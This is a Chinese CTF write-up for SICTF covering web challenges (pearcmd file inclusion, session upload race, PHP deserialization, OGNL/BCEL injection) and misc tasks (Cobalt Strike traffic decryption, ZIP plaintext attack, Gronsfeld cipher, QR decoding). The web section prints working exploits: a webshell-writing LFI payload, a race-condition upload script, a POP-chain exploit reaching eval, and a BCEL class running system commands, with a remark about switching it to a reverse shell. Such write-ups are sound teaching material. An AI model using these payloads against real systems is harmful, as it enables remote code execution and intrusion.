image-20230910143723364.png

Web

[签到]Include

考点:pearcmd文件包含

/?+config-create+/&SICTF=php://filter/convert.base64-encode|convert.base64-decode|/resource=/usr/local/lib/php/pearcmd.php&asd/<?=system($_GET['c'])?>+/tmp/hello.php

?SICTF=php://filter/convert.base64-encode|convert.base64-decode|/resource=/tmp/hello.php&c=cat+/flag

image-20230910144504001.png

image-20230910144636929.png

RCE

image-20230909151030058.png

Baby_PHP

image-20230909100225127.png

你能跟得上我的speed吗

以前session竞争上传的代码,拿来就可以用。

# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading

sessid = 'yyy'
url = "http://210.44.151.51:10098/upload.php"
php = open('1.php','rb').read()
def write(session):
while True:
f = php
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': f"123123213123"},
files={'file': ('1.php', f)}, cookies={'PHPSESSID': sessid})

def read(session):
while True:
resp = session.get('http://210.44.151.51:10098/uploads/1.php')
if "bingo" in resp.text:
print(resp.text)
break

if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:

for i in range(1, 10):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 10):
threading.Thread(target=read, args=(session,)).start()

event.set()


上传1.php,内容:

image-20230910145040907.png

image-20230910144934438.png

我全都要

源码

<?php
highlight_file(__FILE__);

class B{
public $pop;
public $i;
public $nogame;

public function __destruct()
{
if(preg_match("/233333333/",$this->pop)){
echo "这是一道签到题,不能让新生一直做不出来遭受打击";
}
}

public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '<img src=\'R.jpg\'>';
$this->nogame->love();
}
}

public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}


class A{
public $Aec;
public $girl;
public $boy;

public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
$this->Aec->game();
}
}


}


class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象!";
if ($name != "game") {
echo "打游戏去,别想着对象了";
$this->MyLover = clone new B;
}
}


}

if ($_GET["A_B_C"]){
$poc=$_GET["A_B_C"];
unserialize($poc);
}

exp

$b = new B;
$b->pop = new A;
$b->pop->boy = 'QNKCDZO';
$b->pop->girl = '240610708';
$b->pop->Aec = new B;
$b->pop->Aec->nogame = new P;

echo urlencode(serialize($b));

image-20230910145809027.png

pain

路由

image-20230910145924132.png
黑名单

那两个分别是get和加号

image-20230910145949702.png

正常的ongl表达式执行命令的方式:

image-20230910150439502.png
第一个@后面接类名,第二个@后面接静态方法。

正常的执行命令方式都给ban了。由于经常光顾bogipop师傅的博客,知道执行命令还有一种方式,加载bcel字节码。

https://boogipop.com/2023/08/10/BCEL%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8%E5%85%A8%E5%8F%8D%E5%B0%84%E6%9E%84%E9%80%A0%E9%AB%98%E5%8F%AF%E7%94%A8%E5%86%85%E5%AD%98%E9%A9%AC/

demo

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.JavaWrapper;

public class App {
public static void main( String[] args ) throws Exception{
//第一种触发方式
//JavaClass javaClass = Repository.lookupClass(Evil.class);
//
//String encode = Utility.encode(javaClass.getBytes(), true);
//
//System.out.println(encode);
//new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();

//第二种触发方式
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
JavaWrapper._main(new String[]{"$$BCEL$$"+encode});
System.out.println("$$BCEL$$"+encode);

}
}

Evil.java

import java.io.IOException;

public class Evil {
public static void main(String[] args) {

}
public static void _main(String[] args) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

运行即可弹计算器。

所以结合ognl可以这样用:

(要加.toArray()才是String数组,不加的话是集合类,传进去类型不匹配)

public static void main( String[] args ) throws Exception{

JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String bcel = "$$BCEL$$"+encode;

String code = "@com.sun.org.apache.bcel.internal.util.JavaWrapper@_main({'"+bcel+"'}.toArray())";

System.out.println(MyMethods.URLEncode(code));

OgnlContext context = new OgnlContext();

Ognl.getValue(code, context, context.getRoot());

}

image-20230910151250761.png

把calc的命令改成弹shell命令,监听,然后把上面的输出结果打进去,就行了。

image-20230910151910037.png

本地自建的Evil.java,带不带包名都可以,都打得通。

misc

fast_morse

解出音频里的morse即可。

一起上号不

做题过程参考这篇:https://blog.csdn.net/weixin_46081055/article/details/123413246

赛后看了cs通信原理:https://blog.csdn.net/shawdow_bug/article/details/127503441

image-20230910152946302.png
自己的分析:

请求是受害机发给cs服务器的,响应是服务器发给受害机。

看左边的时间间隔,知道心跳时间是60s。

受害机发请求/load,检查是否要执行命令,服务器响应。

受害机执行命令,结果加密后,通过请求/submit.php发送给服务器。

服务器存私钥,受害机beacon存公钥。私钥是用来加密元数据的。元数据放在请求cookie里。元数据里有AES_KEY,HMAC_KEY。AES_KEY和HMAC_KEY是用来加密命令和执行结果数据的。

数据包里导出HTTP对象,有一个key.zip,解压key,把key改名为.cobaltstrike.beacon_keys,然后用文章提到的工具,直接运行即可解出私钥。

image-20230909145948742.png

下面用到的工具要在linux上运行,win不行。工具文章里有。

拿到私钥,解cookie里的元数据,就可以拿到AES_KEY,HMAC_KEY。

image-20230910155826810.png

现在解命令执行结果的数据。

这里的encrypt_data是报文里/submit.php的请求体解hex再base64

image-20230910155750983.png

baby_zip

ZipCrypto Store,一眼明文攻击。

image-20230910162433566.png

image-20230909203247791.png

image-20230909203415318.png

Easy_Shark

最开始的tcp流是马的样子,后面的流全是加密后的结果。

image-20230910160125489.png
AES加密,key告诉你了,复制到本地就可以。不过有个坑点,本地要加载那个扩展,解出来的才是正常的,不然的话进入if里面解出来的是乱码….

后续tcp流的请求体内容复制出来:

image-20230910160843757.png

解出来长这样

image-20230910160804454.png
响应数据也解一遍:

image-20230910161013700.png
看不懂,继续解后面的包。有一个cat GronKey.txt,内容是:1,50,61,8,9,20,63,41

看到Gron就想到gronsfeld加密。

image-20230909212332994.png

image-20230909212345402.png

def gronsfeld_encrypt(text, key):
encrypted_text = ""
key_digits = [int(digit) for digit in key.split(",")]
key_length = len(key_digits)
for i in range(len(text)):
char = text[i]
if char.isalpha():
# 将字母转换为大写,以便与密钥数字对应
char = char.upper()
# 计算密钥对应的数字
key_digit = key_digits[i % key_length]
# 计算移位后的字母
shifted_char = chr(((ord(char) - ord('A') + key_digit) % 26) + ord('A'))
encrypted_text += shifted_char
else:
# 如果字符不是字母,则直接添加到加密文本中
encrypted_text += char
return encrypted_text

def gronsfeld_decrypt(encrypted_text, key):
decrypted_text = ""
key_digits = [int(digit) for digit in key.split(",")]
key_length = len(key_digits)
for i in range(len(encrypted_text)):
char = encrypted_text[i]
if char.isalpha():
# 将字母转换为大写,以便与密钥数字对应
char = char.upper()
# 计算密钥对应的数字
key_digit = key_digits[i % key_length]
# 计算反向移位后的字母
shifted_char = chr(((ord(char) - ord('A') - key_digit) % 26) + ord('A'))
decrypted_text += shifted_char
else:
# 如果字符不是字母,则直接添加到解密文本中
decrypted_text += char
return decrypted_text

# 示例
plaintext = "HELLO"
key = "1,50,61,8,9,20,63,41"
encrypted_text = gronsfeld_encrypt(plaintext, key)
print("加密后的文本:", encrypted_text)
decrypted_text = gronsfeld_decrypt(encrypted_text, key)
print("解密后的文本:", decrypted_text)

可以直接用。

image-20230909212410948.png
SICTF{SHUMUISAGOODBOYYYYYYYYY}

QR

二进制串转成二维码,0黑色,1白色。然后用pyzbar读取二维码数据。用pwntools交互。

gpt写的转二维码的脚本。完整解题脚本不小心给我删了,懒得再写了。

from PIL import Image

# 输入的二进制串(示例)
binary_string = "0011001100110011"

# 计算图像的宽度和高度
binary_length = len(binary_string)
width = int(binary_length ** 0.5) # 取平方根作为宽度
height = (binary_length + width - 1) // width # 根据宽度计算高度

# 创建一个新的图像
image = Image.new("1", (width, height))

# 将二进制串中的0和1转换为像素颜色
pixels = []
for char in binary_string:
if char == '0':
pixels.append(0)
elif char == '1':
pixels.append(1)

# 将像素颜色设置到图像中
image.putdata(pixels)

# 保存图像
image.save("output.png")

# 显示图像(可选)
image.show()

一开始一直不出flag,去问出题人,解1000次才出。所以脚本最后要稍微改改。

image-20230910122047510.png